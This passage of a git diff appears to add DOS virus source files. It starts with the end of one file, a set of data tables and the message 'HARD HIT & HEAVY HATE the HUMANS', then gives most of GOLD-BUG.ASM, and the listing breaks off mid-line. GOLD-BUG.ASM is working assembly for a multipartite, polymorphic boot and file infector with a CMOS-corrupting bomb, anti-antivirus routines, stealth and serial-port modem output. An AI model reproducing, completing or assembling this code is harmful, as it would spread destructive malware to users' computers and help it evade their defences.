-22594,-22005,-21403,-20787,-20159,-19519,-18868 + dw -18204, -17530,-16846,-16151,-15446,-14732,-14010,-13279 + dw -12539, -11793,-11039,-10278, -9512, -8739, -7962, -7179 + dw -6393, -5602, -4808, -4011, -3212, -2410, -1608, -804 + dw 0, 804, 1608, 2410, 3212, 4011, 4808, 5602 + dw 6393, 7179, 7962, 8739, 9512, 10278, 11039, 11793 + dw 12539, 13279, 14010, 14732, 15446, 16151, 16846, 17530 + dw 18204, 18868, 19519, 20159, 20787, 21403, 22005, 22594 + dw 23170, 23731, 24279, 24811, 25329, 25832, 26319, 26790 + dw 27245, 27683, 28105, 28510, 28898, 29268, 29621, 29956 + dw 30273, 30571, 30852, 31113, 31356, 31580, 31785, 31971 + dw 32137, 32285, 32412, 32521, 32609, 32678, 32728, 32757 +gombdata: + DW 44, 3, 22, 29, 6, 40, 7, 9, 48,-14, 12, 46 + DW -33, 15, 33,-44, 18, 14,-44, 21, -7,-35, 24,-25 + DW -19, 26,-37, 0, 29,-40, 17, 31,-34, 29, 34,-21 + DW 33, 36, -5, 30, 38, 9, 20, 40, 20, 8, 42, 25 + DW -3, 43, 23,-12, 45, 17,-16, 46, 8,-15, 47, 0 + DW -11, 48, -5, -5, 49, -7, 0, 49, -6, 0, 49, -2 + DW 0, 49, 0, -2, 49, 0, -6, 49, 0, -7, 49, -5 + DW -5, 48,-11, 0, 47,-15, 8, 46,-16, 17, 45,-12 + DW 23, 43, -3, 25, 42, 8, 20, 40, 20, 9, 38, 30 + DW -5, 36, 33,-21, 34, 29,-34, 31, 17,-40, 29, 0 + DW -37,26,-19,-25,24,-35,-7,21,-44,14,18,-44 + DW 33,15,-33,46,12,-14,48,9,7,40,6,29 + DW 22,3,44,0,0,49,-22,-3,44,-40,-6,29 + DW -48,-9,7,-46,-12,-14,-33,-15,-33,-14,-18,-44 + DW 7,-21,-44,25,-24,-35,37,-26,-19,40,-29,0 + DW 34,-31,17,21,-34,29,5,-36,33,-9,-38,30 + DW -20,-40,20,-25,-42,8,-23,-43,-3,-17,-45,-12 + DW -8,-46,-16,0,-47,-15,5,-48,-11,7,-49,-5 + DW 6,-49,0,2,-49,0,0,-49,0,0,-49,-2 + DW 0,-49,-6,5,-49,-7,11,-48,-5,15,-47,0 + DW 16,-46,8,12,-45,17,3,-43,23,-8,-42,25 + DW -20,-40,20,-30,-38,9,-33,-36,-5,-29,-34,-21 + DW -17,-31,-34,0,-29,-40,19,-26,-37,35,-24,-25 + DW 44,-21,-7,44,-18,14,33,-15,33,14,-12,46 + DW -7,-9,48,-29,-6,40,-44,-3,22,-49,0,0 + DW -44,3,-22,-29,6,-40,-7,9,-48,14,12,-46 + DW 33,15,-33,44,18,-14,44,21,7,35,24,25 + DW 19,26,37,0,29,40,-17,31,34,-29,34,21 + DW -33,36,5,-30,38,-9,-20,40,-20,-8,42,-25 + DW 3,43,-23,12,45,-17,16,46,-8,15,47,0 + DW 11,48,5,5,49,7,0,49,6,0,49,2 + DW 0,49,0,2,49,0,6,49,0,7,49,5 + DW 5,48,11,0,47,15,-8,46,16,-17,45,12 + DW -23,43,3,-25,42,-8,-20,40,-20,-9,38,-30 + DW 5,36,-33,21,34,-29,34,31,-17,40,29,0 + DW 37,26,19,25,24,35,7,21,44,-14,18,44 + DW -33,15,33,-46,12,14,-48,9,-7,-40,6,-29 + DW -22,3,-44,0,0,-49,22,-3,-44,40,-6,-29 + DW 48,-9,-7,46,-12,14,33,-15,33,14,-18,44 + DW -7,-21,44,-25,-24,35,-37,-26,19,-40,-29,0 + DW -34,-31,-17,-21,-34,-29,-5,-36,-33,9,-38,-30 + DW 20,-40,-20,25,-42,-8,23,-43,3,17,-45,12 + DW 8,-46,16,0,-47,15,-5,-48,11,-7,-49,5 + DW -6,-49,0,-2,-49,0,0,-49,0,0,-49,2 + DW 0,-49,6,-5,-49,7,-11,-48,5,-15,-47,0 + DW -16,-46,-8,-12,-45,-17,-3,-43,-23,8,-42,-25 + DW 20,-40,-20,30,-38,-9,33,-36,5,29,-34,21 + DW 17,-31,34,0,-29,40,-19,-26,37,-35,-24,25 + DW -44,-21,7,-44,-18,-14,-33,-15,-33,-14,-12,-46 + DW 7,-9,-48,29,-6,-40,44,-3,-22,49,0,0 +patt: DB 0, 0, 0, 0, 0, 1, 1, 2, 4, 5, 7, 9,11,14,17,20,23,27 + db 31,35,40,45,50,56,61,67,73,80,86,93 + + + +mess db 'HARD HIT & HEAVY HATE the HUMANS !!' + db ' [ H.H.& H.H. the H. ] ' +drt dw 5 dup (0) +memory: + CODE ENDS + + END START diff --git a/g/GOLD-BUG.ASM b/g/GOLD-BUG.ASM new file mode 100755 index 0000000..590c2f3 --- /dev/null +++ b/g/GOLD-BUG.ASM @@ -0,0 +1,1237 @@ +cseg segment para public 'code' +gold_bug proc near +assume cs:cseg + +;----------------------------------------------------------------------------- + +;designed by "Q" the misanthrope. + +;----------------------------------------------------------------------------- + +.186 +TRUE equ 001h +FALSE equ 000h + +;----------------------------------------------------------------------------- + +;option bytes used and where + +DELETE_SCANNERS equ FALSE ; -2 bytes -2 in com_code +CHECK_FOR_8088 equ TRUE ; 4 bytes 4 in com_code +INFECT_RANDOM equ TRUE ; 4 bytes 4 in com_code +CMOS_BOMB equ TRUE ; 4 bytes 4 in com_code +DEFLECT_DELETE equ TRUE ; 5 bytes 5 in com_code +READING_STEALTH equ TRUE ; 5 bytes 5 in com_code +SAME_FILE_DATE equ TRUE ; 24 bytes 24 in com_code +DOUBLE_DECRYPT equ TRUE ; 26 bytes 26 in com_code +EXECUTE_SPAWNED equ TRUE ; 35 bytes 32 in com_code 3 in boot_code +MODEM_CODE equ TRUE ; 40 bytes 29 in com_code 11 in boot_code +ANTI_ANTIVIRUS equ TRUE ; 46 bytes 35 in com_code 11 in boot_code +POLYMORPHIC equ TRUE ; 90 bytes 74 in com_code 16 in boot_code +MULTIPARTITE equ TRUE ;372 bytes 346 in com_code 26 in boot_code + +;----------------------------------------------------------------------------- + +;floppy boot infection + +FLOPPY_1_2M equ 001h +FLOPPY_760K equ 000h +FLOPPY_TYPE equ FLOPPY_1_2M + +;----------------------------------------------------------------------------- + +IFE MULTIPARTITE +DELETE_SCANNERS equ FALSE +CHECK_FOR_8088 equ FALSE +INFECT_RANDOM equ FALSE +DEFLECT_DELETE equ FALSE +READING_STEALTH equ FALSE +SAME_FILE_DATE equ FALSE +EXECUTE_SPAWNED equ FALSE +POLYMORPHIC equ FALSE +ENDIF + +;----------------------------------------------------------------------------- + +SECTOR_SIZE equ 00200h +RES_OFFSET equ 0fb00h +COM_OFFSET equ 00100h +RELATIVE_OFFSET equ RES_OFFSET-COM_OFFSET +PART_OFFSET equ COM_OFFSET+SECTOR_SIZE +BOOT_OFFSET equ 07c00h +RELATIVE_BOOT equ BOOT_OFFSET-PART_OFFSET +LOW_JMP_10 equ 0031ch +LOW_JMP_21 equ 00321h +SAVE_INT_CHAIN equ 0032ch +SCRATCH_AREA equ 08000h +HEADER_SEGMENT equ 00034h +INT_21_IS_NOW equ 0cch +BIOS_INT_13 equ 0c6h +NEW_INT_13_LOOP equ 0cdh +BOOT_SECTOR equ 001h +DESCRIPTOR_OFF equ 015h +IF FLOPPY_TYPE EQ FLOPPY_1_2M +DESCRIPTOR equ 0f909h +OLD_BOOT_SECTOR equ 00eh +COM_CODE_SECTOR equ 00dh +ELSE +DESCRIPTOR equ 0f905h +OLD_BOOT_SECTOR equ 005h +COM_CODE_SECTOR equ 004h +ENDIF +READ_ONLY equ 001h +SYSTEM equ 004h +DELTA_RI equ 004h +DSR equ 020h +CTS equ 010h +CD equ 080h +FAR_JUMP equ 0eah +MIN_FILE_SIZE equ 00500h +PSP_SIZE equ 00100h +VIRGIN_INT_13_A equ 00806h +VIRGIN_INT_13_B equ 007b4h +VIRGIN_INT_2F equ 00706h +FAR_JUMP_OFFSET equ 006h +SET_INT_OFFSET equ 007h +CHANGE_SEG_OFF equ 009h +VIDEO_MODE equ 00449h +MONOCHROME equ 007h +COLOR_VIDEO_MEM equ 0b000h +ADDR_MUL equ 004h +SINGLE_BYTE_INT equ 003h +VIDEO_INT equ 010h +VIDEO_INT_ADDR equ VIDEO_INT*ADDR_MUL +DISK_INT equ 013h +DISK_INT_ADDR equ DISK_INT*ADDR_MUL +SERIAL_INT equ 014h +DOS_INT equ 021h +DOS_INT_ADDR equ DOS_INT*ADDR_MUL +MULTIPLEX_INT equ 02fh +COMMAND_LINE equ 080h +FIRST_FCB equ 05ch +SECOND_FCB equ 06ch +NULL equ 00000h +GET_PORT_STATUS equ 00300h +WRITE_TO_PORT equ 00100h +HD_0_HEAD_0 equ 00080h +READ_A_SECTOR equ 00201h +WRITE_A_SECTOR equ 00301h +GET equ 000h +SET equ 001h +DELETE_W_FCB equ 01300h +DEFAULT_DRIVE equ 000h +GET_DEFAULT_DR equ 01900h +DOS_SET_INT equ 02500h +FILE_DATE_TIME equ 05700h +DENYNONE equ 040h +OPEN_W_HANDLE equ 03d00h +READ_W_HANDLE equ 03f00h +WRITE_W_HANDLE equ 04000h +CLOSE_HANDLE equ 03e00h +UNLINK equ 04100h +FILE_ATTRIBUTES equ 04300h +RESIZE_MEMORY equ 04a00h +QUERY_FREE_HMA equ 04a01h +ALLOCATE_HMA equ 04a02h +EXEC_PROGRAM equ 04b00h +GET_ERROR_LEVEL equ 04d00h +TERMINATE_W_ERR equ 04c00h +RENAME_A_FILE equ 05600h +LSEEK_TO_END equ 04202h +CREATE_NEW_FILE equ 05b00h +RESIDENT_LENGTH equ 068h +PARAMETER_TABLE equ 005f1h +MAX_PATH_LENGTH equ 00080h +EXE_HEADER_SIZE equ 020h +NEW_EXE_HEADER equ 00040h +NEW_EXE_OFFSET equ 018h +PKLITE_SIGN equ 'KP' +PKLITE_OFFSET equ 01eh +NO_OF_COM_PORTS equ 004h +WINDOWS_BEGIN equ 01605h +WINDOWS_END equ 01606h +ERROR_IN_EXE equ 0000bh +IF POLYMORPHIC +FILE_SIGNATURE equ 07081h +XOR_SWAP_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+TWO_BYTES +FILE_LEN_OFFSET equ byte ptr ((offset serial_number)-(offset com_code))+THREE_BYTES +FIRST_UNDO_OFF equ byte ptr ((offset first_jmp)-(offset com_code)+ONE_BYTE) +SECOND_UNDO_OFF equ byte ptr ((offset second_jmp)-(offset com_code)) +BL_BX_OFFSET equ byte ptr ((offset incbl_incbx)-(offset com_code)) +ROTATED_OFFSET equ byte ptr ((offset rotated_code)-(offset com_code)) +ELSE +FILE_SIGNATURE equ 0070eh +ENDIF +IF MODEM_CODE +STRING_LENGTH equ byte ptr ((offset partition_sig)-(offset string)) +ENDIF +IF EXECUTE_SPAWNED +EXEC_SUBTRACT equ byte ptr ((offset file_name)-(offset exec_table)) +ENDIF +DH_OFFSET equ byte ptr ((offset dh_value)-(offset initialize_boot)+TWO_BYTES) +ONE_NIBBLE equ 004h +ONE_BYTE equ 001h +TWO_BYTES equ 002h +THREE_BYTES equ 003h +FOUR_BYTES equ 004h +FIVE_BYTES equ 005h +FIVE_BITS equ 005h +EIGHT_BYTES equ 008h +USING_HARD_DISK equ 080h +KEEP_CF_INTACT equ 002h +CMOS_CRC_ERROR equ 02eh +CMOS_PORT equ 070h +REMOVE_NOP equ 001h +CR equ 00dh +LF equ 00ah +INT3_INCBX equ 043cch +INC_BL equ 0c3feh +INCBX_INCBL_XOR equ INT3_INCBX XOR INC_BL +JMP_NO_SIGN equ 079h +JMP_NOT_ZERO equ 075h +JNS_JNZ_XOR equ JMP_NO_SIGN XOR JMP_NOT_ZERO +CLI_PUSHCS equ 00efah + +;----------------------------------------------------------------------------- + +video_seg segment at 0c000h + org 00000h +original_int_10 label word +video_seg ends + +;----------------------------------------------------------------------------- + +io_seg segment at 00070h + org 00893h +original_2f_jmp label word +io_seg ends + +;----------------------------------------------------------------------------- + + org COM_OFFSET +com_code: + +;----------------------------------------------------------------------------- + + IF POLYMORPHIC +first_decode proc near +serial_number: xor word ptr ds:[si+bx+FIRST_UNDO_OFF],MIN_FILE_SIZE + org $-REMOVE_NOP + org $-FIVE_BYTES + jmp load_it + org $+TWO_BYTES +rotated_code: int SINGLE_BYTE_INT + into + adc al,0d4h +incbl_incbx: inc bl +first_jmp: jnz serial_number + add bx,si + jns serial_number +first_decode endp + +;----------------------------------------------------------------------------- + + IF DOUBLE_DECRYPT +second_decode proc near + push si +get_next_byte: lodsw + add bx,ax + inc bx + xor byte ptr ds:[si+SECOND_UNDO_OFF],bl + org $-REMOVE_NOP + dec si +second_jmp: jns get_next_byte + pop si +second_decode endp + ENDIF + ENDIF + +;----------------------------------------------------------------------------- + +com_start proc near + IF MULTIPARTITE + push cs + pop es + call full_move_w_si + mov ds,cx + cmp cx,word ptr ds:[NEW_INT_13_LOOP*ADDR_MUL] + jne dont_set_int + mov di,VIRGIN_INT_13_B + call set_both_ints + push cs + pop es + ENDIF +dont_set_int: IF CHECK_FOR_8088 + mov cl,RESIDENT_LENGTH + mov al,high(RESIZE_MEMORY) + shl ax,cl + mov bx,cx + int DOS_INT + ELSEIF MULTIPARTITE + mov bx,RESIDENT_LENGTH + mov ah,high(RESIZE_MEMORY) + int DOS_INT + ENDIF + IF EXECUTE_SPAWNED + pusha + call from_com_code+RELATIVE_OFFSET + popa + push cs + pop ds + push cs + pop es + cmpsw + mov dx,si + sub si,EXEC_SUBTRACT + org $-REMOVE_NOP + mov bx,PARAMETER_TABLE + mov di,bx + mov ax,EXEC_PROGRAM +set_table: scasw + movsb + scasb + mov word ptr ds:[di],ds + je set_table + int DOS_INT + mov ah,high(GET_ERROR_LEVEL) + int DOS_INT + mov ah,high(TERMINATE_W_ERR) + ELSEIF MULTIPARTITE + call from_com_code+RELATIVE_OFFSET + mov ax,TERMINATE_W_ERR + ENDIF + IF MULTIPARTITE + int DOS_INT + ELSE + jmp boot_load + ENDIF +com_start endp + +;----------------------------------------------------------------------------- + +interrupt_21 proc far + pushf + pusha + push ds + push es + mov di,dx + push ds + pop es + cld + mov cx,MAX_PATH_LENGTH + IF MULTIPARTITE + mov si,offset file_name+RELATIVE_OFFSET + ENDIF + IF READING_STEALTH OR DEFLECT_DELETE + mov bx,ax + ENDIF + cmp ax,EXEC_PROGRAM + IF READING_STEALTH + je start_process + cmp ah,high(OPEN_W_HANDLE) + ENDIF + IF DEFLECT_DELETE + je start_process + cmp ah,high(UNLINK) + ENDIF + jne a_return +start_process: xor ax,ax +copy_name: IF MULTIPARTITE + mov bl,byte ptr ds:[di] + mov byte ptr cs:[si],bl + inc si + ENDIF + scasb + loopne copy_name + std + scasw + IF MULTIPARTITE + mov byte ptr cs:[si-FIVE_BYTES],al + ENDIF + mov al,'E' + scasw + jne a_return + mov ah,'X' + scasw + jne a_return + IF MULTIPARTITE + push ds + ENDIF + pusha + call open_close_file + IF SAME_FILE_DATE + mov word ptr cs:[new_time+ONE_BYTE+RELATIVE_OFFSET],cx + mov word ptr cs:[new_date+ONE_BYTE+RELATIVE_OFFSET],dx + ENDIF + or si,si + IF MULTIPARTITE + jnz large_exe_file + cmp word ptr ds:[si],FILE_SIGNATURE + je our_kind + IF INFECT_RANDOM + xor di,bp + jpo our_kind + ENDIF + cmp word ptr ds:[si+NEW_EXE_OFFSET],NEW_EXE_HEADER + jb test_if_open + cmp word ptr ds:[si+PKLITE_OFFSET],PKLITE_SIGN + je test_if_open + ELSE + jz our_kind + ENDIF +large_exe_file: popa + IF MULTIPARTITE + pop ds + ENDIF + IF ANTI_ANTIVIRUS + mov al,'N' + scasb + ja a_return + mov al,'A' + scasb + jne a_return + pop es + pop ds + popa + IF READING_STEALTH OR DEFLECT_DELETE + cmp ah,high(EXEC_PROGRAM) + jne opened_file + ENDIF + popf + IF CMOS_BOMB + mov al,CMOS_CRC_ERROR + out CMOS_PORT,ax + ENDIF + IF DELETE_SCANNERS + mov ah,high(UNLINK) + jmp short old_int_10_21 + ELSE + mov al,ERROR_IN_EXE + stc + retf KEEP_CF_INTACT + ENDIF + ELSE + jmp short a_return + ENDIF +our_kind: popa + IF MULTIPARTITE + pop ds +error_in_copy: inc di + xchg byte ptr ds:[di],ch + mov ax,OPEN_W_HANDLE+DENYNONE + int INT_21_IS_NOW + xchg ax,bx + jnc close_it + mov byte ptr ds:[di],ch +jmp_a_return: jmp short a_return +close_it: call force_close + ENDIF +a_return: pop es + pop ds + popa +opened_file: popf +old_int_10_21: jmp far ptr original_int_10 + IF MULTIPARTITE +test_if_open: popa + pop ds + IF READING_STEALTH OR DEFLECT_DELETE + cmp bh,high(EXEC_PROGRAM) + jne error_in_copy + ENDIF +drive_letter: sub al,USING_HARD_DISK + jns error_in_copy + mov ax,GET+FILE_ATTRIBUTES + int INT_21_IS_NOW + mov ah,high(RENAME_A_FILE) + pusha + mov di,offset file_name+RELATIVE_OFFSET + push cs + pop es + int INT_21_IS_NOW +set_attribs: popa + int INT_21_IS_NOW + mov ah,high(CREATE_NEW_FILE) + int INT_21_IS_NOW + jc error_in_copy + xchg ax,bx + mov ax,SET+FILE_ATTRIBUTES + pusha + push ds + push cs + pop ds + or cl,SYSTEM + mov dx,offset file_name+RELATIVE_OFFSET + int INT_21_IS_NOW + IF ANTI_ANTIVIRUS + mov dx,offset fcb_name+RELATIVE_OFFSET + mov ah,high(DELETE_W_FCB) + int INT_21_IS_NOW + ENDIF + xor di,di + mov ax,SCRATCH_AREA + mov es,ax + mov ds,ax + call full_move + call move_some_more + IF POLYMORPHIC + xor si,si + mov cx,word ptr ds:[si+FILE_LEN_OFFSET] + org $-REMOVE_NOP + IF DOUBLE_DECRYPT + pusha +set_second: add al,byte ptr cs:[si+RES_OFFSET] + inc ax + xor byte ptr ds:[si+SECOND_UNDO_OFF+TWO_BYTES],al + org $-REMOVE_NOP + inc si + loop set_second + popa + ENDIF + mov ax,cx + pusha + xor bx,bx + mov bl,byte ptr ds:[si+XOR_SWAP_OFFSET] + org $-REMOVE_NOP +set_first: xor word ptr ds:[bx],ax + inc bx + loop set_first + popa + ELSE +file_length: mov cx,NULL + ENDIF + mov ah,high(WRITE_W_HANDLE) + cwd + int INT_21_IS_NOW + IF SAME_FILE_DATE + mov ax,SET+FILE_DATE_TIME +new_time: mov cx,NULL +new_date: mov dx,NULL + call do_int21_close + ELSE + call force_close + ENDIF + pop ds + jmp short set_attribs + ENDIF +interrupt_21 endp + +;----------------------------------------------------------------------------- + +open_close_file proc near + mov ax,OPEN_W_HANDLE+DENYNONE + xor cx,cx + int INT_21_IS_NOW + jc more_returns + xchg ax,bx + IF MULTIPARTITE + mov dx,HEADER_SEGMENT + mov ds,dx + ENDIF + IF MODEM_CODE + IF MULTIPARTITE + mov dl,NO_OF_COM_PORTS + ELSE + mov dx,NO_OF_COM_PORTS + ENDIF +scan_coms: dec dx + js no_more_coms + mov ax,GET_PORT_STATUS + int SERIAL_INT + xor al,DELTA_RI+CTS+DSR + and al,DELTA_RI+CTS+DSR+CD + jnz scan_coms + mov si,offset string+STRING_LENGTH-ONE_BYTE+RELATIVE_OFFSET + mov cl,STRING_LENGTH +output_data: lods byte ptr cs:[si] + mov ah,high(WRITE_TO_PORT) + int SERIAL_INT + loop output_data + ENDIF +no_more_coms: IF MULTIPARTITE + mov cl,EXE_HEADER_SIZE + mov ah,high(READ_W_HANDLE) + cwd + int INT_21_IS_NOW + xor cx,cx + ELSE + xor dx,dx + ENDIF + mov ax,LSEEK_TO_END + int INT_21_IS_NOW + IF MULTIPARTITE + IF POLYMORPHIC + mov word ptr cs:[FILE_LEN_OFFSET+RES_OFFSET],ax + ELSE + mov word ptr cs:[file_length+ONE_BYTE+RELATIVE_OFFSET],ax + ENDIF + ENDIF + inc ah + cmp ax,MIN_FILE_SIZE+PSP_SIZE + adc dx,cx + mov si,dx + IF SAME_FILE_DATE + mov ax,GET+FILE_DATE_TIME +do_int21_close: int INT_21_IS_NOW + ENDIF +force_close: mov ah,high(CLOSE_HANDLE) + int INT_21_IS_NOW +more_returns: ret +open_close_file endp + +;----------------------------------------------------------------------------- + +full_move_w_si proc near + IF POLYMORPHIC +swap_incbx_bl: xor word ptr ds:[si+BL_BX_OFFSET],INCBX_INCBL_XOR + org $-REMOVE_NOP + xor byte ptr ds:[si+BL_BX_OFFSET+TWO_BYTES],JNS_JNZ_XOR + org $-REMOVE_NOP + ENDIF + stc +full_move_w_di: mov di,RES_OFFSET +full_move: call move_code +move_code: jc move_some_more + mov si,RES_OFFSET + IF POLYMORPHIC + IF CHECK_FOR_8088 + mov cl,ONE_NIBBLE + ror word ptr cs:[si+ROTATED_OFFSET],cl + org $-REMOVE_NOP + ELSE + ror word ptr cs:[si+ROTATED_OFFSET],ONE_NIBBLE + org $-REMOVE_NOP + ENDIF + ENDIF +move_some_more: mov cx,SECTOR_SIZE + pushf + cld + rep movs byte ptr es:[di],cs:[si] + popf + stc + ret +full_move_w_si endp + +;----------------------------------------------------------------------------- + + IF ANTI_ANTIVIRUS + org PART_OFFSET-ONE_BYTE +fcb_name db DEFAULT_DRIVE + ENDIF + +;----------------------------------------------------------------------------- + + org PART_OFFSET +boot_code: + +;----------------------------------------------------------------------------- + +initialize_boot proc near + IF ANTI_ANTIVIRUS + db 'CHKLIST????' + cli + push cs + mov si,BOOT_OFFSET-SECTOR_SIZE + pop ss + mov sp,si + sti + push cs + org PART_OFFSET+DESCRIPTOR_OFF + db high(DESCRIPTOR) + pop ds + mov cx,COM_CODE_SECTOR + pushf + push cs + push BOOT_OFFSET + mov ax,READ_A_SECTOR + ELSE + cli + push cs + mov si,BOOT_OFFSET-SECTOR_SIZE + pop ss + mov sp,si + sti + pushf + push cs + push BOOT_OFFSET + push cs + mov cx,COM_CODE_SECTOR + mov ax,READ_A_SECTOR + org PART_OFFSET+DESCRIPTOR_OFF + db high(DESCRIPTOR) + pop ds + ENDIF + push cs + pop es +dh_value: mov dx,NULL + mov bx,dx + xor dh,al + shr dx,1 + mov dh,bh + push dx + mov bx,si + push ax + int DISK_INT + pop ax + mov di,VIDEO_INT_ADDR + mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_BOOT+ONE_BYTE + call get_n_set_int+ONE_BYTE + mov bx,offset low_code-TWO_BYTES+RELATIVE_OFFSET + cmp dx,LOW_JMP_10 + je try_this_out + cmp byte ptr ds:[VIDEO_MODE],MONOCHROME + jae try_this_out + mov di,DISK_INT_ADDR + IF MULTIPARTITE + call set_both_ints + ELSE + mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET + call get_n_set_int+ONE_BYTE + mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET + call set_interrupt + ENDIF + mov ch,high(COLOR_VIDEO_MEM) + mov bx,offset high_code+RELATIVE_OFFSET +try_this_out: push cx + push bx + mov es,cx + call full_move_w_si + retf +initialize_boot endp + +;----------------------------------------------------------------------------- + +high_code proc near + mov dx,offset int_10_start+RELATIVE_OFFSET + mov bx,LOW_JMP_10-FAR_JUMP_OFFSET + call set_int_10_21 + mov bx,VIDEO_INT_ADDR-SET_INT_OFFSET +low_code: mov es,cx + mov cl,OLD_BOOT_SECTOR + mov dx,LOW_JMP_10 + call set_interrupt + mov bx,BOOT_OFFSET + pop dx + int DISK_INT + xor dh,dh + mov cl,BOOT_SECTOR + mov ax,WRITE_A_SECTOR +high_code endp + +;----------------------------------------------------------------------------- + +interrupt_13 proc far +int_13_start: IF MULTIPARTITE + mov byte ptr cs:[drive_letter+ONE_BYTE+RELATIVE_OFFSET],dl + ENDIF + cmp cx,BOOT_SECTOR + jne no_boot_sector + cmp ah,high(READ_A_SECTOR) + jne no_boot_sector + cmp dx,HD_0_HEAD_0 + jbe reread_boot +no_boot_sector: int NEW_INT_13_LOOP + jmp short return_far +reread_boot: int NEW_INT_13_LOOP + jc return_far + pusha + push ds + push es + pop ds +check_old_boot: mov ax,READ_A_SECTOR + xor dh,dh + mov cl,OLD_BOOT_SECTOR + IF ANTI_ANTIVIRUS + cmp word ptr ds:[bx],'HC' + ELSE + cmp word ptr ds:[bx],CLI_PUSHCS + ENDIF + je read_old_boot + test dl,USING_HARD_DISK + jnz encode_hd + cmp word ptr ds:[bx+DESCRIPTOR_OFF-ONE_BYTE],DESCRIPTOR + jne time_to_leave + mov dh,al + pusha + int NEW_INT_13_LOOP + cmp byte ptr ds:[bx],ch + popa + pushf + pusha + xor dh,dh + mov cl,al + int NEW_INT_13_LOOP + popa + popf + jne time_to_leave +encode_hd: mov ah,high(WRITE_A_SECTOR) + push ax + int NEW_INT_13_LOOP + pop ax + jc time_to_leave + mov di,bx + call move_code + mov cl,COM_CODE_SECTOR + IF POLYMORPHIC + xor byte ptr ds:[bx+XOR_SWAP_OFFSET],dh + org $-REMOVE_NOP + jo dont_flip_it + xchg word ptr ds:[bx+ROTATED_OFFSET],ax + org $-REMOVE_NOP + xchg ah,al + xchg word ptr ds:[bx+ROTATED_OFFSET+TWO_BYTES],ax + org $-REMOVE_NOP + xchg word ptr ds:[bx+ROTATED_OFFSET],ax + org $-REMOVE_NOP + ENDIF +dont_flip_it: pusha + int NEW_INT_13_LOOP + popa + mov di,bx + call move_some_more + mov byte ptr ds:[bx+DH_OFFSET],dh + org $-REMOVE_NOP + mov dh,cl + inc cx + int NEW_INT_13_LOOP + jmp short check_old_boot +read_old_boot: mov dh,byte ptr ds:[bx+DH_OFFSET] + org $-REMOVE_NOP + int NEW_INT_13_LOOP +time_to_leave: pop ds + popa + clc +return_far: retf KEEP_CF_INTACT +interrupt_13 endp + +;----------------------------------------------------------------------------- + +interrupt_2f proc far + pusha + push ds + push es + push offset return_to_2f+RELATIVE_OFFSET + xor cx,cx + mov ds,cx + mov bx,SAVE_INT_CHAIN-SET_INT_OFFSET + cmp ax,WINDOWS_END + jne try_another + les dx,dword ptr ds:[bx+SET_INT_OFFSET] + jmp short set_13_chain +try_another: cmp ax,WINDOWS_BEGIN + jne another_return + mov di,VIRGIN_INT_13_B + call get_n_set_int+ONE_BYTE + les dx,dword ptr ds:[BIOS_INT_13*ADDR_MUL] +set_13_chain: mov ax,READ_A_SECTOR + call get_set_part + mov bx,VIRGIN_INT_13_B-SET_INT_OFFSET + call set_interrupt + mov bl,low(VIRGIN_INT_13_A-SET_INT_OFFSET) + call set_interrupt + mov ah,high(WRITE_A_SECTOR) +interrupt_2f endp + +;----------------------------------------------------------------------------- + +get_set_part proc near + pusha + push es + mov bx,SCRATCH_AREA + mov es,bx + mov dx,HD_0_HEAD_0 + inc cx + int NEW_INT_13_LOOP + mov ax,READ_A_SECTOR + int DISK_INT + pop es + popa +another_return: ret +get_set_part endp + +;----------------------------------------------------------------------------- + +return_to_2f proc near + pop es + pop ds + popa + jmp far ptr original_2f_jmp +return_to_2f endp + +;----------------------------------------------------------------------------- + +interrupt_10 proc far +int_10_start: pushf + pusha + push ds + push es + push offset a_return+RELATIVE_OFFSET +from_com_code: xor bx,bx + mov ds,bx + or ah,ah + jz set_10_back + mov ax,QUERY_FREE_HMA + int MULTIPLEX_INT + cmp bh,high(MIN_FILE_SIZE+SECTOR_SIZE) + jb another_return + mov ax,ALLOCATE_HMA + int MULTIPLEX_INT + clc + call full_move_w_di + mov dx,offset int_13_start+RELATIVE_OFFSET + call set_13_chain + mov bx,VIRGIN_INT_2F-SET_INT_OFFSET + mov dx,offset interrupt_2f+RELATIVE_OFFSET + call set_interrupt + cmp word ptr ds:[LOW_JMP_10],cx + je set_10_back + push es + push es + mov di,DOS_INT_ADDR + mov bx,INT_21_IS_NOW*ADDR_MUL-SET_INT_OFFSET + call get_n_set_int+ONE_BYTE + pop ds + mov bx,offset old_int_10_21-SET_INT_OFFSET+RELATIVE_OFFSET+ONE_BYTE + call set_interrupt + mov ds,cx + mov ax,DOS_SET_INT+DOS_INT + mov dx,LOW_JMP_21 + int INT_21_IS_NOW + pop es + mov bx,dx + mov dx,offset interrupt_21+RELATIVE_OFFSET + mov word ptr ds:[bx],0b450h + mov word ptr ds:[bx+TWO_BYTES],0cd19h + mov word ptr ds:[bx+FOUR_BYTES],05800h+INT_21_IS_NOW + call set_int_10_21 +set_10_back: mov di,offset old_int_10_21+RELATIVE_OFFSET+ONE_BYTE + mov bx,LOW_JMP_10-FAR_JUMP_OFFSET +interrupt_10 endp + +;----------------------------------------------------------------------------- + +get_n_set_int proc near + les dx,dword ptr cs:[di] + jmp short set_interrupt +set_int_10_21: mov byte ptr ds:[bx+FAR_JUMP_OFFSET],FAR_JUMP +set_interrupt: mov word ptr ds:[bx+SET_INT_OFFSET],dx + mov word ptr ds:[bx+CHANGE_SEG_OFF],es + ret +get_n_set_int endp + +;----------------------------------------------------------------------------- + + IF MULTIPARTITE +set_both_ints proc near + mov bx,(NEW_INT_13_LOOP*ADDR_MUL)-SET_INT_OFFSET + call get_n_set_int+ONE_BYTE + mov bl,low(BIOS_INT_13*ADDR_MUL)-SET_INT_OFFSET + jmp short set_interrupt +set_both_ints endp + ENDIF + +;----------------------------------------------------------------------------- + + IF EXECUTE_SPAWNED +exec_table db COMMAND_LINE,FIRST_FCB,SECOND_FCB + ENDIF + +;----------------------------------------------------------------------------- + + IF MODEM_CODE + org PART_OFFSET+001f3h +string db CR,'1O7=0SLMTA' + ENDIF + +;----------------------------------------------------------------------------- + + org PART_OFFSET+SECTOR_SIZE-TWO_BYTES +partition_sig dw 0aa55h + +;----------------------------------------------------------------------------- + + org PART_OFFSET+SECTOR_SIZE+TWO_BYTES +file_name db 'DA',027h,'BOYS.COM',NULL + +;----------------------------------------------------------------------------- + + org PARAMETER_TABLE + dw NULL,NULL,NULL,NULL,NULL,NULL,NULL + db NULL + +;----------------------------------------------------------------------------- + + IFE MULTIPARTITE +boot_load proc near + push cs + pop es + call 